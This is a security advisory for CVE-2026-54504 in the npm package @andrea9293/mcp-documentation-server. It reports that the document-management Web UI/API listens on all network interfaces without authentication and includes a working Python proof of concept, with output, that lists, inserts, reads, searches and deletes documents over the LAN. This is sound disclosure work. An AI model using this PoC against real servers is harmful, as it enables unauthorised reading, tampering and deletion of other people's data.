PT-2026-60390 · Npm · @Andrea9293/Mcp-Documentation-Server

CVE-2026-54504

·

Publicado

2026-07-15

·

Atualizado

2026-07-15

CVSS v3.1

8.8

Alta

VetorAV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

@andrea9293/mcp-documentation-server v1.13.0 documents that a Web UI starts automatically on port 3080. However, the Web UI/API appears to bind to all network interfaces by default (*:3080 / 0.0.0.0:3080) instead of localhost-only, and its document-management API endpoints do not require authentication.
As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.
The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.

Details

The README documents that the Web UI starts automatically and tells users to open:
text
http://localhost:3080
It also documents START WEB UI=true and WEB PORT=3080 as the defaults.
The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.
In src/server.ts, the Web UI is started unless START WEB UI=false:
ts
if (process.env.START WEB UI !== 'false') {
  initializeDocumentManager().then(manager => {
    return startWebServer(undefined, manager);
  }).then(() => {
    console.error('[Server] Web UI started (port=' + (process.env.WEB PORT || '3080') + ')');
  })...
}
In src/web-server.ts, the Express app appears to listen with only the port:
ts
const server = app.listen(PORT, () => {
  console.log(`
 🌐 MCP Documentation Server - Web UI`);
  console.log(` ────────────────────────────────────`);
  console.log(` Local:  http://localhost:${PORT}`);
  console.log(` Network: http://0.0.0.0:${PORT}
`);
});
With Express/Node, app.listen(PORT) without a host argument binds to all interfaces. In my reproduction, this resulted in:
text
LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))
The exposed API includes document-admin operations such as:
text
GET  /api/documents
GET  /api/documents/:id
POST  /api/documents
POST  /api/search-all
DELETE /api/documents/:id
GET  /api/config
I did not send any Authorization header in the PoC requests, and all tested operations succeeded.

PoC

Tested on v1.13.0.

1. Build from source

bash
cd ~/Desktop
mkdir -p docsrv repro from scratch
cd docsrv repro from scratch

git clone https://github.com/andrea9293/mcp-documentation-server.git
cd mcp-documentation-server

git rev-parse HEAD
npm install --no-audit --no-fund
npm run build

ls -l dist/server.js
node -p "require('./package.json').version"
Expected version:
text
1.13.0

2. Start the server with default Web UI behavior

Do not set START WEB UI=false.
bash
rm -rf /tmp/docsrv base
mkdir -p /tmp/docsrv base

MCP BASE DIR=/tmp/docsrv base 
WEB PORT=3080 
node dist/server.js 
 </dev/null 
 >/tmp/docsrv stdout.log 
 2>/tmp/docsrv stderr.log &

DOCSRV PID=$!
sleep 5

echo "DOCSRV PID=$DOCSRV PID"
ps -p "$DOCSRV PID" -o pid,stat,cmd

3. Confirm that the Web UI/API binds to all interfaces

bash
ss -ltnp | grep ':3080' || true
Observed:
text
LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))
This indicates the service is not bound only to 127.0.0.1.

4. Confirm that the API is reachable through the LAN IP

bash
LAN IP=$(hostname -I | awk '{print $1}')
echo "LAN IP=$LAN IP"

curl -sS --max-time 5 "http://$LAN IP:3080/api/config"
echo
Observed:
text
LAN IP=10.0.250.230
{"gemini available":false,"embedding model":"Xenova/all-MiniLM-L6-v2"}
No authentication header was sent.

5. Full unauthenticated document-admin PoC

bash
cat > /tmp/docsrv unauth poc.py <<'PY'
#!/usr/bin/env python3
import json
import sys
import urllib.request
import urllib.error

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080
BASE = f"http://{HOST}:{PORT}"

def req(method, path, body=None):
  data = json.dumps(body).encode() if body is not None else None
  headers = {"Content-Type": "application/json"} if body is not None else {}
  r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers)
  with urllib.request.urlopen(r, timeout=10) as resp:
    raw = resp.read().decode()
    try:
      return resp.status, json.loads(raw or "null")
    except Exception:
      return resp.status, raw

def main():
  print(f"[poc] target = {BASE}")
  print("[poc] no Authorization header is sent")

  status, config = req("GET", "/api/config")
  print(f"[0] config: HTTP {status}, {config}")

  status, docs = req("GET", "/api/documents")
  print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}")

  marker = "ATTACKER CONTROLLED DOCUMENT MARKER unauth network api"
  body = {
    "title": "network-inserted-test-document",
    "content": marker + "
This document was inserted through the unauthenticated network API.",
    "metadata": {"source": "unauth-network-poc"}
  }

  status, added = req("POST", "/api/documents", body)
  print(f"[2] add document: HTTP {status}, response={added}")

  doc id = None
  if isinstance(added, dict):
    doc id = added.get("id") or added.get("document", {}).get("id")

  if not doc id:
    status, docs = req("GET", "/api/documents")
    for d in docs:
      if d.get("title") == "network-inserted-test-document":
        doc id = d.get("id")
        break

  if not doc id:
    raise RuntimeError("could not locate inserted document id")

  print(f"[2] inserted id={doc id}")

  status, doc = req("GET", f"/api/documents/{doc id}")
  content = doc.get("content", "") if isinstance(doc, dict) else str(doc)
  print(f"[3] read document: HTTP {status}, marker present={marker in content}")

  status, hits = req("POST", "/api/search-all", {
    "query": "ATTACKER CONTROLLED DOCUMENT MARKER network inserted",
    "limit": 5
  })
  print(f"[4] search-all: HTTP {status}, response prefix={str(hits)[:300]!r}")

  status, deleted = req("DELETE", f"/api/documents/{doc id}")
  print(f"[5] delete document: HTTP {status}, response={deleted}")

  print("[poc] DONE")

if  name  == " main ":
  main()
PY

chmod +x /tmp/docsrv unauth poc.py
Run against localhost:
bash
python3 /tmp/docsrv unauth poc.py 127.0.0.1 3080
Observed:
text
[poc] target = http://127.0.0.1:3080
[poc] no Authorization header is sent
[0] config: HTTP 200, {'gemini available': False, 'embedding model': 'Xenova/all-MiniLM-L6-v2'}
[1] list documents: HTTP 200, count=0
[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
[2] inserted id=ef13280d7441d5bb
[3] read document: HTTP 200, marker present=True
[4] search-all: HTTP 200, response prefix="[{'document id': 'ef13280d7441d5bb', 'parent index': 0, 'score': 1, 'content': 'ATTACKER CONTROLLED DOCUMENT MARKER unauth network api
This document was inserted through the unauthenticated network API.'}]"
[5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'}
[poc] DONE
Run the same PoC against the host's LAN IP:
bash
LAN IP=$(hostname -I | awk '{print $1}')
python3 /tmp/docsrv unauth poc.py "$LAN IP" 3080
Observed:
text
[poc] target = http://10.0.250.230:3080
[poc] no Authorization header is sent
[0] config: HTTP 200, {'gemini available': False, 'embedding model': 'Xenova/all-MiniLM-L6-v2'}
[1] list documents: HTTP 200, count=0
[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
[2] inserted id=ef13280d7441d5bb
[3] read document: HTTP 200, marker present=True
[4] search-all: HTTP 200, response prefix="[{'document id': 'ef13280d7441d5bb', 'parent index': 0, 'score': 1, 'content': 'ATTACKER CONTROLLED DOCUMENT MARKER unauth network api
This document was inserted through the unauthenticated network API.'}]"
[5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'}
[poc] DONE

6. Cleanup

bash
kill "$DOCSRV PID" 2>/dev/null || true
fuser -k 3080/tcp 2>/dev/null || true
rm -rf /tmp/docsrv base
rm -f /tmp/docsrv unauth poc.py
rm -f /tmp/docsrv stdout.log /tmp/docsrv stderr.log

Impact

This is a missing-authentication and unsafe-default network exposure issue for the Web UI/API.
A network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow:
  • reading document titles, previews, and full document contents;
  • searching across the entire document corpus;
  • inserting attacker-controlled documents into the corpus;
  • deleting documents;
  • tampering with the user's local knowledge base used by the MCP assistant.
This can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks.
This is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations.
A safer default would be to bind the Web UI/API to 127.0.0.1 by default, and require an explicit opt-in such as WEB BIND HOST=0.0.0.0 for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.

Correção

Exposure of Resource to Wrong Sphere

Missing Authentication

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-54504
GHSA-6F5R-5672-72J7

Produtos afetados

@Andrea9293/Mcp-Documentation-Server